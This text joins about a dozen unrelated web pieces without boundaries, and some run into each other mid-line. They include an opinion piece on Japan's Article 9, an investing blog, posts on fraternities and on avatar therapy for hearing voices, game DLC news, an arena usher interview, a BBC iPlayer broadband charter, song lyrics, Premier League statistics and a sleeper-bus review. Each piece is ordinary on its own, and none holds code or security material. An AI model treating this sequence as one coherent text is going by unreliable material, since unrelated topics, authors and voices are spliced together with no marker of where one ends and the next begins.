Rewriting Article 9 of the Japanese constitution, which renounces war and forbids Japan to threaten or use force as a means of settling international disputes, may very well be welcomed by the United States. Without constitutional limitations, Japan presumably would be free to become an effective military sidekick for the American superpower. But such a move would also have potentially far-reaching consequences for regional stability, specifically Japan’s relationships with China and Korea, Japan’s former wartime enemies.
Abe has previously made it clear that he wants to turn Japan’s self-defense forces into a fully fledged military, finishing a task started by his grandfather Nobusuke Kishi, who also served as prime minister. The change is also one of the founding principles of the Liberal Democrat Party.
Such ambitions will not be accomplished easily, however.
Changing the American-written constitution, a hot-button issue in Japan for the past 60 years, would require passing a motion with a two-thirds majority in both houses of the Diet (Japan’s bicameral legislature) and securing a 50% majority in a referendum. And yet, Abe’s party and other parties in favor of constitutional reform already hold two-thirds of the seats in the Lower House (the equivalent of the US House). This weekend they are hoping to clinch the same majority in the Upper House (the equivalent of the US Senate).
Abe is fully aware of public opposition to changing the pacifist clause.
Abe is fully aware of public opposition to changing the pacifist clause—68% of Japanese were against it in a poll conducted by the Asahi newspaper in April. In what may be a purely political move, he has stopped talking about any constitutional revisions at all publicly. In campaign speeches, the politician has shifted focus to his “Abenomics” economic policy instead. But opposition forces and political commentators worry he has not in fact changed his mind about Article 9. Some have even accused him of trying to pull the wool over the electorate’s eyes.
“It’s a case of whether the public is going to be tricked three times,” says Koichi Nakano, political science professor at Tokyo’s Sophia University. “Before each of the elections Abe has fought in recent years, he talked about the economy. And after the elections were over, he put the emphasis each time on something else.”
Such a move is not without precedent, at least not from Abe’s LDP party. After the last Upper House election in 2013, the Liberal Democratic Party pushed through a state secrets law that it had not mentioned in its election manifesto. And after winning a Lower House election in December 2014 on the back of economic rhetoric, the LDP defied public protests to push through a security bill that allows “collective self-defense,” meaning Japanese troops can now fight overseas if it or a close ally is attacked and Japan feels threatened.
Abe’s military ambitions have already provoked anger in China, which accuses him of sabre-rattling. Relations between the two countries have soured since 2010, as arguments over disputed islands spark scuffles between Chinese and Japanese boats and Japanese’s air force scramble Chinese jets amid “escalating” military activity. How badly China would react to a remilitarized Japan is not clear, but it is exceedingly unlikely to ignore such a clear challenge to its dominance.
China is exceedingly unlikely to ignore such a clear challenge to its dominance.
Globally, a change could lead to Japanese troops joining Western coalitions in the Middle East and other hot spots. “If you have a revision of the constitution and Article 9, Americans would perhaps expect, although maybe not immediately, Japan to play the role that the UK does on the global stage,” says Nakano, referencing a 2012 report that concluded greater military cooperation during “peacetime, tension, crisis and war” would deepen the US-Japan alliance.
Meanwhile, polls suggest a low voter turnout. If true, Abe will more than likely get his desired two-thirds majority in the Diet. Analysts say he is then likely to kick off the process of constitutional reform—perhaps beginning with a less controversial change, such as adding an article to give the government extra powers in the event of an emergency, before trying to revise Article 9.
If Abe decided to take the question to the public using a referendum, abysmal opposition voter turnouts during Abe’s rule, little experience of referendums, and an increasingly muzzled media could mean garnering a majority would be an easier feat than opinion polls currently suggest.
And as the UK’s prime minister David Cameron now knows, referendums can turn out surprising, and sometimes scary, results.
This article is part of Quartz Ideas, our home for bold arguments and big thinkers.More Float Info and a Book Recommendation
While I was beginning to write my UNAM article I realized that of all the learning I had done about float, I had not learned how to value it. Below are some more sites that I learned from while I was putting my article together on how to evaluate and value a company’s float. Some of the information and valuations made it into my UNAM article and a lot of the other stuff made it into my written notes.
Personally I would put these links on about on par with some of the other information on float I have learned about and posted on the blog from the Fundoo Professor and others, and I hope you learn something from them as well.
I cannot recommend The Davis Dynasty highly enough. I wish I would have known about this book and read it when I had first started learning about investing and would put in on the same level as The Intelligent Investor, Security Analysis, Margin of Safety, and You Can Be a Stock Market Genius as some of my favorite investment books.
The Davis Dynasty is a book about the Davis family starting with the older Shelby Davis who started with $50,000 in investment funds almost at the age of 40 and turned it into approximately $900 million by the time he died. His son and grandsons are now continuing his investment legacy and have continued to compound portions of that money still to this day, or at least when the book was published. The book goes over the general family and investment philosophies and how they made so much money. The older Shelby Davis made his money mostly with insurance stocks. The younger Shelby Davis made most of his money with a mixture of financial, insurance, and other stocks. The grandsons have continued the overall philosophy but have expanded out from the so called boring insurance stocks.
Again, I cannot recommend this book highly enough.
I have started to read The Farmer From Merna about how State Farm Insurance was started to continue gaining knowledge about the insurance industry. After I finish this up I plan to look for another company to research.
Some Other Things I Have Been Up To
I am still learning Mandarin and at this point I have learned probably somewhere north of 2000 words or close to that. Still amazing and I think this will definitely help me at some point down the road.
Nate (Oddball Stocks) and I were having a conversation a while back about how he read French value investing blogs to help him learn French faster so I decided to try to find some investing blogs that are in Mandarin to help me learn faster. However, up to this point I have had only minimal luck so I have instead turned my latest article on UNAM into completely Mandarin text and thought I would try this out to see how this works.
I got some pretty good news from my lawyer friend about opening up the potential investment firm that I mentioned almost a month ago. So far no concrete updates and I still have some more calls to make and digging to do, but at this point it looks like nothing should prohibit me from opening up a small investment firm.
I have started some work on an investor’s presentation so that when I do figure out things for sure I am ready to start contacting friends, family, and local wealthy people to see if they would like to invest.
I have been trying to get myself out there more still in the hopes of getting some kind of job offer, even if it is just someone who wants to pay me for my investment ideas until I open up the investment firm, so I have reapplied to the Value Investors Club. Last time I applied I had to wait a few weeks to see my rejection letter. Applied to SumZero and have already gotten an email back from them saying that because I do not have hedge fund/investment firm experience that I cannot join their site. Started putting my articles on Guru Focus and my Brazil Fast Food article, the first article I have posted to GF, was named an Editor’s Pick. So far nothing in the way of job offers but people generally say that they like my work a lot and that I do a really good job of laying out my analysis. I have a couple ideas that I may share in the coming weeks about some other ideas I have in this area as well.
Right now I am going to be finishing up The Farmer From Merna, then find another company to research, and keep doing the stuff above. I will also probably post some more links here shortly.
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Dan Wang points to a recent paper which suggests that joining a fraternity in college reduces your GPA by 0.25 points but increases your future income by 36 percent. For various reasons, this is a weak result and I wouldn’t take it very seriously except as a possible spur to further research.
However, suppose it’s true. Here’s what the authors say:
Our results indicate that college administrators face an important trade-off when they consider policies designed to limit fraternity life on campus: while such policies may significantly raise academic performance, these gains may come at a significant cost in terms of expected future income for their graduates.
I’d argue exactly the opposite: this paper puts another nail in the coffin of fraternities and sororities and eating clubs and so forth. Allow me to reframe the authors’ conclusion:
Our results provide empirical evidence that fraternities are just another way for social elites to keep themselves at the top regardless of actual performance. Those rejected by fraternities, even though they have higher GPAs, earn 36 percent less than those accepted by fraternities. This is further evidence, if any were needed, that college administrators face few trade-offs when they consider policies designed to limit fraternity life on campus.
That’s my read, anyway. And I don’t even have any big heartburn one way or the other about fraternities.Today I'm at the 30th year of the annual conference for the Society for the Scientific Study of Shamanism, which I have attended around 20 times. I've just come from the biannual conference of the ISPS, which is the International Society for Psychotherapy and Social Therapies of Psychosis. I wanted to write about some recent work by Julian Leff and colleagues at University College, London, who wrote a recent paper called, "Avatar Therapy for persecutory auditory hallucinations: What is it and how does it work?"
In my observation, the voices that torture people are the mean, persecuting ones, telling them how worthless they are and commanding them to kill themselves, hurt themselves, or do something cruel to someone else. I've written before about our young man who has believed he was the reincarnation of Adolf Hitler and heard the voices of two Ascended Masters, who urged him to kill his parents, so he would go to prison where he could be appropriately tortured for the rest of his life. The people who suffer the most feel helpless. Dialogue with invisible entities is difficult. Leff wrote, "Hearing a disembodied voice abusing you in stereotyped phrases taxes your resources as a social human being. Furthermore, because the entity is invisible there are none of the usual cues of facial expression and non-verbal communication by which we signal agreement with, attention to, and turn-taking with the speaker."
We frequently help people to feel more sense of agency by dialoguing with their voices. To accomplish this, we use puppets, masks, other people, guided imagery, and so on. The idea is to give body to the voices, to see the voices. What we can see is not as frightening. Once we see it, we can go further, as Harry Potter did in one of the movies, and make the being of the voice appear ridiculous. We can put that being in long clown shoes, ridiculous costumes, and otherwise turn the frightening into the hilarious.
I find that these approaches work very well for those who will do them, but not everyone will. Leff and colleagues devised a new and creative method for facilitating dialogue between the voice hearer and the entity speaking to them using a computer-generated avatar. Their aim was to facilitate the dialogue so that the person would learn to stand up to their avatar and eventually control it.
They developed two commercial programs in a package in conjunction with a voice-morphing program. The voice hearer uses the software to construct the avatar, choosing a face and a voice for the entity they hear. The voices from which the patient chooses are produced by alterations of the therapist's voice. Then the facilitator can speak to the voice hearer through the avatar in real time using the selected voice. Voice hearers then pick a face for that voice. In my experience, this is harder for clients, almost as if the connections with the visual system are disturbed. We do something similar by giving voice hearers a limited number of puppets form which to choose, which is a kind of forced choice method, which is probably less overwhelming.
In Leff's system, the voice hearer sits in a room and faces a monitor on which the avatar is shown. The software synchronizes the avatar's lip movements with its speech. The facilitator sits in an adjacent room and views a screen. Clicking on the right side of the screen allows the facilitator to speak to the patient through the avatar using the voice selected by the voice hearer for the persecutory voice. Clicking on the left side of the screen enables the facilitator to speak to the patient in a normal voice.
The voice hearer is prompted by the facilitator to enter into a dialogue with the avatar and encouraged to oppose it. The facilitator controls the avatar so that it progressively comes under the voice hearer's control over six weekly sessions of 30 minutes duration. Over the course of the therapy the avatar progressively becomes more appreciative and supportive. Each session is digitally recorded and the audio file is transferred to a personal media player given to the voice hearer to use at any time to use at any time to remember and reinforce control over the persecutory voice'
Leff and colleagues compared avatar therapy to treatment as usual in a randomized controlled trial with a cross-over of the control group from treatment as usual into avatar therapy after an initial seven week block. The duration of hearing voices ranged from four years to more than thirty years, the median being more than ten years. To assess success, they used the Psychotic Symptom Rating Scale's hallucinations score a hearing voices scale score on omnipotence and malevolence, and a depression scale.
Twenty-six voice hearers began the study, 16 interacted with avatars, and benefitted from significant reductions in the frequency and intensity of the voices and in the disturbance to their life. The perceived malevolence and omnipotence of the voices also dropped. At the three-month follow-up, further reductions in the frequency and intensity of the voices occurred. A full account of this study appeared in the June, 2013, issue of the British Journal of Psychiatry.
Leff described the most dramatic effects among three voice hearers who had been hearing voices constantly for 16 (A), 13 (B), and 3-1/2 years (C). A had stopped taking medication three years previously, while B and C took adequate antipsychotic medication regularly. Voice hearers A and C stopped hearing their persecutory voice after the second session, while Voice hearer B's "voice' stopped after the 5th session. These persecutory voices were still gone at three months follow-up for all three people.
Dr. Julian Leff was the sole therapist in this study and found very low self-esteem to be a common factor among the voice hearers. It was not effective to schedule a set time to listen to their voices or to tell the voice that the voice hearer would only listen when the voice said pleasant things. If the voice hearer believed the voice was real (had full ontological status), Dr. Leff accepted that and dealt with the voice on that basis. We do the same in our work.
In one of his papers, Dr. Leff gives an example of his work:
An example is the elderly man (C) who had been a senior executive in a large company. Several years before he was inducted into the trial, he began to be woken every morning at 5 a.m. by the voice of a woman, also a senior company executive. She held business meetings from that early hour until nightfall, so that he heard her discussing business matters with her subordinates throughout the entire day, although she never addressed him directly. He was completely convinced of the reality of this woman, but had not developed an explanation for her disembodied voice. JL accepted the patient's experience as real and advised him that the woman was behaving unprofessionally, and that he should tell the avatar to confine her meetings to business hours. Furthermore she was betraying her organisation by letting him hear her discussions. In the first session with the avatar C was polite, spoke in a soft voice and remained calm and quiet throughout the session which was ended after 15 minutes. One week later he arrived for the second session and reported that her voice was quieter, as were the voices of her subordinates. Also they started at 8 a.m. instead of 5 a.m. In this session C was more forceful and told the avatar that he did not want to hear her plans, saying, "It's treason. Keep it to yourself'. He told her to confine her meetings to the afternoon, after 2 p.m. He said, "I don't want to hear you at 8 a.m. I have a lot to do in the mornings and you disturb me.' In general he was much more assertive than in the first session. When C. arrived for the next session he reported that he was sleeping until 7 a.m. and that the woman's voice had gone entirely, "as though she left the room.' At a follow-up one week later the woman's voice was still absent, and had not resumed at a three month follow-up.
This is impressive work, considering that only one hour of contact was required to get this result. It reminds me of a client with whom I worked who was hearing the devil all night long. She could only sleep when the sun was up, because the sun kept the devil at bay. We made masks of the devil, the sun, and some audience members. I facilitated a dialogue with the sun and the devil. We alternated who played the sun and who played the devil. That helped reduce the intensity and severity of the voice during the day, but it did nothing at night. We needed a new character that could oversee the night. I told my client about the words of an elder who told me that the night spirits took over from the day spirits when the sun disappeared into his home in the West. Traditionally the dog warriors guarded the camp at night and others in the day. We brainstormed about who could manage the devil at night. I liked the moon, but my client feared that the voice would take over as the moon waned. I asked about a dog warrior, and we settled upon one of my favourite characters, Coyote, though I hadn't imagined Coyote as a candidate for the job. We made a coyote mask and repeated the work of taking turns playing Coyote and the Devil. When I thought we were ready, I asked my client to invite her friends to a session to play the audience. Then we would expel the devil and announce to the Sun and the Moon, her triumph over the devil. We performed the dramatic enactment in a two-hour session, and the voice came under control. However, this took significantly more time than Dr. Leff's procedure. I hope to obtain his software and try his approach with my own clients who suffer from persecutory voices.
Next Page 1 | 2Bandai Namco Games has released over 30 screenshots and new details for Dragon Ball Xenoverse 2: DLC Pack 2! First of all, a release date has not yet been announced, but we will keep you up to date right here on Anime Games Online as soon as they are. Now, for the contents. DLC Pack 2 contains the following:
4 playable characters – Towa, Mira, Eis Shenron, and Nuova Shenron
3 Time Patrol Quests (story mode)
3 Parallel Quests
Pan GT as a Master and her 5 Master quests
5 full costumes from Pan, Gogeta, Super 17, Mira and Towa.
24 signature moves from Pan, Mira, Towa, Eis Shenron and Nuova Shenron
6 new Z-Souls:
– Eis Shenron’s Z soul – I’m doing fine.
– Nuova Shenron’s Z soul – That’s how I fight!
– Pan’s Z soul (Master) 1 – This is my best move!
– Pan’s Z soul (Master) 2 – Dumped agaaaain!
– Mira’s Z soul – I feel it… A powerful energy!
– Towa’s Z soul – Revival of the Demon Realm is at hand
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Dragon Ball Xenoverse: DLC Pack 1 Release Date Announced
Dragon Ball Xenoverse: New Parallel Quests from DLC Pack #1
Dragon Ball Xenoverse: DLC Pack #1 Story Mode Footage
Dragon Ball Xenoverse Patch 1.02 Details. New Masters
Dragon Ball Xenoverse: Created Character Super Saiyan vs Super Vegeta Comparison
Dragon Ball Xenoverse: Change Character’s Attributes, Appearance After Creation
Dragon Ball Xenoverse: Learn Moves with Masters, Do More Damage with Z-Assist
Dragon Ball Xenoverse: Level Up, Make Money Fast
Dragon Ball Xenoverse: Unlock All Characters, Collect Crystal Shards and Dragon Balls
Dragon Ball Xenoverse: Complete English Walkthrough
Dragon Ball Xenoverse: Created Character Races, Genders, and Combos
Dragon Ball Xenoverse will be making it’s way to the PC, PS4, PS3, Xbox One and Xbox 360. It will offer in-game transformations, characters with the most detailed facial expressions ever seen in the Dragon Ball universe and new cel shaded graphics. Players will be able to create their own character and take it into battle to fight against familiar faces from the world of Dragon Ball and the created characters of other players online. Dragon Ball: Xenoverse was developed by Dimps (the company behind the Budokai series) and was published by Bandai Namco Games in Japan on February 5th, North America on February 24th, and Europe on February 27th.For more than four decades, Craig Palfrey has been a gatekeeper for some of the city’s biggest enemies. Armed with sticks, they invade Toronto prepared for battle, while 69-year-old Palfrey stands guard.
Craig Palfrey has been ushering at the ACC and MLG for 43 seasons. He's stood by the away team's dressing room for decades. ( Carlos Osorio / Toronto Star )
He’s one of the longest-serving ushers, responsible for the area around the visiting team’s hockey dressing room at the Air Canada Centre. It’s a gig he held on a part-time basis before the ACC — back at Maple Leaf Gardens, when bands like the Rolling Stones and Pink Floyd were in their heyday. Now that he’s in his retirement and it’s a full-time job, the Star caught up with Palfrey to find out what it’s like to be a veteran usher.
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How did you get your job ushering? I used to work at Church and Dundas in the printing department for Simpsons. I got so frustrated because I would go up around 10 a.m. on my break to the Gardens and try to get tickets to the Leaf games, and I couldn’t get them. I said to one of the guys I worked with, “I am going to see if I can work there.” They sort of laughed. I asked at the reception desk who was in charge of the ushers. The girl phoned him and he came down. I told him who I was and what I was hoping to do. He said, “Oh, sure, we are always looking for people.” I think the Bee Gees was the first show I ever worked. After that, I kept coming in.
We have a little TV monitor where they do the interviews between periods. We call it our big-screen TV, but it’s only about six inches.
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What’s your favourite part of the job? My favourite part is when the players come in. A lot of them I have gotten to know through the years. I have made friends. I keep in touch with some of them by email who have retired now. They say, “How was your summer and how are you doing?” The best part is usually when they first come in, because they will stop and talk to you for a few minutes. Being at the visitors room, I meet everyone but the Leafs. Boston is in tonight so I know quite a few of the players. (Bruins player) Patrice Bergeron is from Sillery. My grandparents lived in Sillery when I was young. When I found out he was from there, I told him about it, and now we talk quite a bit. Do you ever wish you worked the Leafs dressing room? No, I had the opportunity years ago. They asked me when we were at MLG, maybe 35 years ago, and I said, no, I am quite happy where I am, because every team is different and it is fun to see the visiting teams when they come in. One thing I remember is when the Islanders won their fourth straight Stanley Cup. There was a time when the (New York) Islanders were playing the Leafs at the Gardens. The Islanders beat the Maple Leafs, I think it was 9-5. What caught me off-guard was (coach Al Arbour) was inside the dressing room and he was yelling. He wasn’t very happy, even though they won the game, because they had given up five or six goals to the Leafs. Also there was an area outside the dressing room. I won’t mention players’ names, but there used to be players who would ask me if I could get them a chair, and on the intermission, they would be sitting outside the dressing room area behind the curtain having a couple of cigarettes. You would never see that in a million years now. It got pretty wild in the ’70s, with Pink Floyd and Queen. It was pretty wild because (people) were all smoking the funny stuff and you would come out of there at night and you’d be flying yourself. You couldn’t help it because you would be in the environment. I never saw the Beatles. I saw the Rolling Stones, who were one of my favourite groups growing up. I remember one time Neil Diamond was at the Gardens. We were all in our positions waiting for the doors to open. Neil Diamond was practising on stage. He stopped his performance and there were a few usherettes. He said, “OK girls, I am going to sing a song. Which one would you like me to sing for you?” That was pretty neat. They performed it for us, basically. I have never been to a live game. I have just been working there. Not even one... I am happy with that. Someday, I might like going to a game, but it would feel different if I wasn’t working. I go back every game because it gets in your blood. It is one of those things that you really enjoy. I don’t consider it a job.
Read more about:According to The Daily Telegraph,
(A bit of theatrical licence can be granted: Britain's broadband usage has not in fact changed beyond recognition, but perhaps the expectations of broadband users have.)
A diverse number of players, from Channel 4 to MSN to Virgin Broadband have gone on record to say that this is a good thing: all on-demand TV boats are rising on the BBC iPlayer tide.
But many commentators have pointed out that some Internet Service Providers who offer "unlimited broadband" can start to charge their customers extra after only a few TV programmes have been accessed.
What's to be done?
The Telegraph suggested that users stream content rather than download to save money. We don't think this makes any difference.
As an aside, the BBC iPlayer service offers both streaming and downloading, and will continue to do so. Most programmes have a ratio of around eight streams for every download, but high-end drama, such as The Passion had over a quarter of its iPlayer consumption via the P2P download service. To reiterate, the BBC iPlayer is not, as the Telegraph keeps saying, exclusively a peer-to-peer download service.
So, if streaming rather than downloading is not the answer for users to reduce their chances of exceeding their monthly cap and ending up with an additional bill, what is?
How about a Broadband Charter? Here are nineteen potential actions that could help bring clarity to this issue, enable audiences to know what they're paying for, and help ISPs move the broadband market forward (in no particular order):
Internet Service Providers:
1. ISPs should be clearer in their marketing (Ofcom can help them). Unlimited broadband should mean unlimited.
2. There should be industry agreement on what you buy is what you get: for a start, an 8Mbs-1 tariff should deliver "at least" 8Mbs-1, not "up to". (I recognise the difficulties with the quality of the line and contention ratios etc., but this issue needs tackling).
3. ISPs which offer genuinely unlimited broadband - i.e., without a cap (or with very high caps) - should (and probably will) more aggressively use this fact as a key point in their marketing.
4. I would not suggest that ISPs start to try and charge content providers. They are already charging their customers for broadband to receive any content they want. If ISPs start charging content providers, the customer will not know which content will work well over their chosen ISP, and which content may have been throttled for non-payment of a levy.
5. There could be an industry standard for "high definition broadband". HD Broadband (working title) would be a minimum guaranteed speed of connection (probably 8Mbs-1). All ISPs could market the service (like Sky HD and Virgin HD) and drive up revenue per sub. If this happened, then...
Content Providers:
6. All content providers could create packages or tiers of HD content optimised for this new standard tier of "HD Broadband". (It might need guaranteed quality of service - or, alternatively, this could just be a marketing initiative rather than a regulated service).
7. Content providers, if they find their content being specifically squeezed, shaped, or capped, could start to indicate on their sites which ISPs their content works best on (and which to avoid). I hope it doesn't come to this, as I think we (the BBC and the ISPs) are currently working better together than ever.
8. There are a number of functionality solutions which content providers can implement to lighten the load on the network which should help ISPs refrain from resorting to capping. One of these is bookmarking, which would enable us to know what programmes a user wants, ahead of transmission, and download them off-peak to the user's hard-drive pre-transmission (hidden and encrypted), to be ready to be unlocked immediately after the programme has gone out on traditional linear TV. We are applying to the BBC Trust to be able to offer this service for iPlayer downloads.
9. The best technical solution is usually Moore's Law, which has delivered massive reductions year on year in the wholesale cost of bandwidth and also reduced the bandwidth needed to consume a good quality full-screen TV picture (ever improving video codecs and compression algorithms have helped enormously). But BT Wholesale's prices are regulated by Ofcom, and not subject to Moore's Law.
10. Although some have reported that we are exploring the costs/benefits of moving our content closer to our audience (potentially reducing much duplicated traffic, basically by putting BBC servers into the network), it is far too early to say whether this solution will work, or is even an appropriate intervention for the BBC.
11. We are already taking measures: we make it clear to users to check their ISP's tariffing structure: BBC iPlayer has a warning in its Terms and Conditions before you install the download manager. Further, a pop-up appears after 2GB of iPlayer programmes have been downloaded recommending that you check your ISP monthly cap.
12. Finally, we can either reduce the amount of content we offer, or reduce the quality of the programmes (by reducing bit-rate). As a fixed revenue company, this would be our only recourse if we had to pay more for distribution. This is not a desired outcome for anyone: my worry here is this could stop the rising spring tide of increasing supply, demand and consumption.
Users:
13. Subscribers should (and will) increasingly look for genuinely unlimited deals from their ISPs, and for ISPs that do not throttle bandwidth at peak hours, which can have the effect of causing streaming playback to fail to work correctly.
14. Users can set alerts on some ISPs to warn them when they have exceeded certain levels of monthly consumption.
15. Users should not panic unless they are very heavy users. Typical iPlayer usage (one programme per week per user) on a standard tariff on the UK's largest ISP (BT) would utilise 20% of their monthly allowance, and incur no additional charge.
16. Users should let us, and the ISPs, know their thoughts (hence this blog post).
Government and the Regulators:
17. You can't have a debate about this issue without reference to BT Wholesale (with whom we actually have a very good relationship). The ISPs which have their own network (Virgin) are busily rolling out 50Mb/s broadband. The rest have either installed their own equipment at BT switches (local loop unbundled - LLU), or simply buy capacity wholesale off BT Wholesale (e.g. Tiscali), and are, to a greater or lesser extent, beholden to the (regulated but quite reasonably profit-making motivated) BT Wholesale. There are those who are starting to ask whether, as with the regulator led introduction of LLU that was necessary to kickstart broadband in the first place, there is another sizable intervention required again now.
18. A less radical alternative to an intervention against BT Wholesale would be to encourage alternative forms of distribution. Ofcom is actively looking at everything from Wifi and Wi-Max to sewers, and exploring what encouragement and relaxation of regulation would be required to accelerate these nascent markets.
19. The regulators will undoubtedly determine whether this whole issue is structural, or whether what we are witnessing is that the ISPs are fighting a commercial war on a public policy stage, and that this has nothing to do with content providers or the BBC at all (indeed Ofcom, in their market impact assessment of iPlayer, believe that much of the increase in consumption over IP would happen anyway, with or without iPlayer).
I put down all these points to get the conversation going.
I'm not advocating them (except where I
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that, and am hoping for some insight from the viewers on PureMTGO.com and from my Tumblr, where I post daily movements in my life in Magic. Have an idea how to tie them together in a great way? I Implore you to send me a message through me email, or on Tumblr. You can also comment here, because I check for comments every day.
The second reason is this weekend is prerelease. Since there won't be an event to look at for next week's article, I will be looking at online events only next week. And I plan on recording and hopefully watching some of these events over the next week to record how they go and which decks are prominent. Next week we will also be looking at what cards have been released that will benefit the best decks of standard, and what cards will cause new decks to rise higher. Until then, thanks for joining me in this weeks, Topping the Charts!
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I won't wait for you...Love!!
I found you!
Your eyes looked lonely
Your heartbeat's calling out, saying "take me into your hands"
Feeling so much heat but calm on the outside, I can enjoy that
Hold down those growing feelings
Quietly, collecting information about you
Certainly, there's value in a sensitive mind
Stepping up in the background, the thrill is unbearable
Because once I've chosen my target, you can't run away. You can't run away, my target!!
(Trap in Dice) I want to start
(Trap in Night) From a trap of love
(Trap in Heart) While dancing, playing the roulette of life
(It's fate) Ordinary is boring
I want to feel special
I want to steal you away
I won't wait for you...Love!!
I want to see
Your frightened face
I'm sure I'm making an awful face when I scheme about it
What I want to get, is that heart of yours
Fragile and uncertain kindness
To you, who loves quiet and solitude
I'm firing an undeniable brilliant light
I want to make you mine before you can realize
My target is decided, you can't run away. You can't run away, my target!!
(Trick in Dice) If I wager on love
(Trick in Night) You can't back out
(Trick in Heart) Life is a roulette I can only win
(It's fate) Meeting you knowing that is wonderful
If I feel special
"Come into my possession"
That hidden voice has the smell of berries, trap in one night
A red berry, sweetly, strongly overflowing
(Trick in Dice) If I wager on love
(Trick in Night) You can't back out
(Trick in Heart) Life is a roulette I can only win
(Trap in Dice) I want to start
(Trap in Night) From a trap of love
(Trap in Heart) While dancing, play the roulette of life
(It's fate) Ordinary is boring
I want to feel special
I want to steal you away
I won't wait for you, sweet, sweet berry
Red temptation in your heart, Berry Trapper, I've chosen my targetTo be able to hit the opposition on the counter attack when you are being penned back is an important skill to have as a team in the Premier League. If a team can go up the other end at pace and get a shot on goal it is very hard for the opposition to defend against.
Therefore, this article looks at how many shots and goals each Premier League team has had from counter attacks so far this season, as well as what percentage of their overall shots and goals come from counter attacks.
[quote]Tottenham have had 17 shots from counter attacks this season, which is more than any other team.[/quote]
Shots From Counter Attacks
Tottenham have had 17 shots from counter attacks this season, which is more than any other team. This is 6 more than Manchester City, 8 more than Arsenal and West Brom and 11 more than both Liverpool and Manchester United.
Aston Villa, Southampton and Sunderland have all had 2 shots from counter attacks this season, which is the fewest amount in the Premier League this season. Fulham, Newcastle, Stoke and West Ham have all had 3 shots from counter attacks this season, while Chelsea, QPR, Reading and Swansea have all had 4 shots on the break this season.
As well as having the most shots from fast breaks this season, Tottenham have also had the highest percentage of their overall shots from counter attacks this season as 9.2% of their shots have come from them.
West Brom have had 6.6% of their shots from breaking away, while 5.8% of Manchester City’s, 5.5% of Arsenal’s and 4.1% of Wigan’s shots have come from a swift counter this season.
Southampton have had the fewest amount of shots, with only 1.6% of their shots coming from counter attacks this season. 1.7% of Aston Villa’s shots, 1.9% of Fulham’s shots and 2.3% of West Ham’s shots have come from fast breaks this season.
Goals From Counter Attacks
Tottenham and Chelsea have both scored 3 goals on the break this season, which is more than any other team. Arsenal have scored twice and Manchester City, QPR, Southampton, Swansea, West Brom and Wigan have all scored once on the counter attack this season.
18.8% of Tottenham’s goals this season have come on the break, while 13.6% of Chelsea’s goals and 13.3% of Arsenal’s goals have come on the counter attack this season. QPR have scored 12.5% of their goals on the counter attack, while 9.1% of Wigan’s goals, 7.1% of Southampton’s goals, 6.7% of Swansea’s and West Brom’s goals and 5.6% of Manchester City’s goals have been scored by catching the opposition via a swift counter this season.
Counter Attack Chance Conversion Rates
Chelsea have converted 75% of their 4 shots via counter attack this season, which is a better chance conversion rate than any other Premier League team. Although Southampton have only had 2 shots on the counter attack this season they have converted 50% of them, while QPR and Swansea have both converted 25% of the shots on the counter attack this season.
Arsenal have converted 22.2% of their shots on the break, while Wigan have converted 20%, Tottenham have converted 17.6%, West Brom have converted 11.1% and Manchester City have converted 9.1% of their shots.
Liverpool and Manchester United and have both had the most shots on the counter attack (6) without scoring this season, while Everton and Norwich have both attempted 5 shots without being able to convert any of them.
[quote]Chelsea have scored with an impressive 3 of their 4 counter attacking shots, with two of those goals coming from Branislav Ivanovic.[/quote]
Analysis
These statistics show us that Tottenham have had more shots than any other team on the counter attack this season and scored the joint most goals with Chelsea. 18.8% of Tottenham’s goals and 9.2% of their shots have come from the counter attack this season, which is a higher percentage than any other Premier League team.
However, Tottenham have converted only 17.6% of their shots on the fast break this season while Chelsea have scored with an impressive 3 of their 4 counter attacking shots, with two of those goals coming from Branislav Ivanovic.
The main reason for Tottenham having a high percentage of their shots and goals from counter attacks this season is Andre Villas-Boas tactics. Villas-Boas likes to make the pitch as wide as possible and utilise the space created to get the wide players on the ball as much as possible and press high up the pitch trying to force the opposition into giving the ball away.
Tottenham have also only had on average 49.25% of the possession this season, which coupled with AVB’s tactics and Gareth Bale/Aaron Lennon’s pace on the wings it is no surprise that Tottenham have had so many shots from counter attacks this season.In part two of this series, Ronnie Herel showcases Sidewinder, Niche and FWD and shows how they helped create dubstep, grime and bassline.
Ronnie Herel looks at the last three decades of UK club culture and selects six club nights that had a genuine impact on the world.
The final part of this series opens with Sidewinder promoters on the roof of a Northampton venue. We find out why this was the only place London's East End grime MCs could play, hearing from Ms Dynamite, Heartless Crew and club regulars to find out how vital this club was to the scene. We find out how how Dizzee and Wiley blew up at the club and how Sidewinder tape packs spread the sound worldwide.
Sheffield is the next stop, to find out how Niche developed the bassline sound in the mid 2000s. We hear from DJs and regulars including Toddla T, DJ Q and T2, discovering how the sound developed, the big tunes that were created there and how the controversial club battled the problems that eventually saw it closed down. We hear the sounds of the club, and find out what Niche and bassline gave the North.
Finally we end up at FWD, the club that provided a breeding ground for the music that became dubstep. Skream and Benga tell us about their early days at the club, we find out about the Croydon massive coming up to the club in limos and we hear how a 200-capacity venue in London's Old St developed a sound that has become the UK's biggest musical export since drum 'n' bass.
Through hearing about these six nights we get an understanding of what classic clubs have given British music - and the world.Could A Bus With Sleep Pods Replace Airplanes?
Enlarge this image toggle caption Cabin Technologies Cabin Technologies
If you ever have to travel a long distance — say, Washington, D.C., to Atlanta, Detroit to Chicago, San Francisco to Los Angeles — you might be stuck with only bad options: a flight from an airport with chronic delays that's hard to get to, or an Amtrak train ride that costs three times as much as a flight.
Well, now there's a new option on the horizon: a double-decker bus with pods for sleeping. It's called, simply, Cabin. It's an overnight service — like a red-eye — designed for people who love going places, but hate being in transit.
Last weekend, I gave it a try. My goal was to spend all day Sunday enjoying beautiful, warm, sunny Southern California, then get to work in Northern California by 8 a.m. Monday — feeling well-rested, not a train wreck.
Enlarge this image toggle caption Ashkan Soltani Ashkan Soltani
Part one went smoothly: I had a bike ride along the beach with a buddy, a hearty Persian dinner, and even caught that new movie Dunkirk (not for the faint of heart).
Part 2 starts at 11 p.m., when I board my Cabin in Santa Monica. The ground floor has table seating, kind of like the dining car in a train. The upper level, however, is like nothing I've ever seen before. On each side of the walkway, there are beds — several across, and stacked in two like bunk beds, only built into the bus.
They're called pods, and crawling into one is jarring. It's not high enough to sit up in, so you have to crawl. And once inside, it feels like being in a cabinet or a coffin (you pick). I inch my way into a top pod, trying not to make noise because a mother and her little girl are sharing the pod below me. Note: Only petite people can share.
This isn't the first bus in the world to offer sleeping quarters. But Cabin is hipster, not hippie. Instead of a dirty mattress tossed on the floor (with beer stains and God knows what else), you get a firm solo mattress, a hypoallergenic comforter and a thick gray curtain you can draw for privacy.
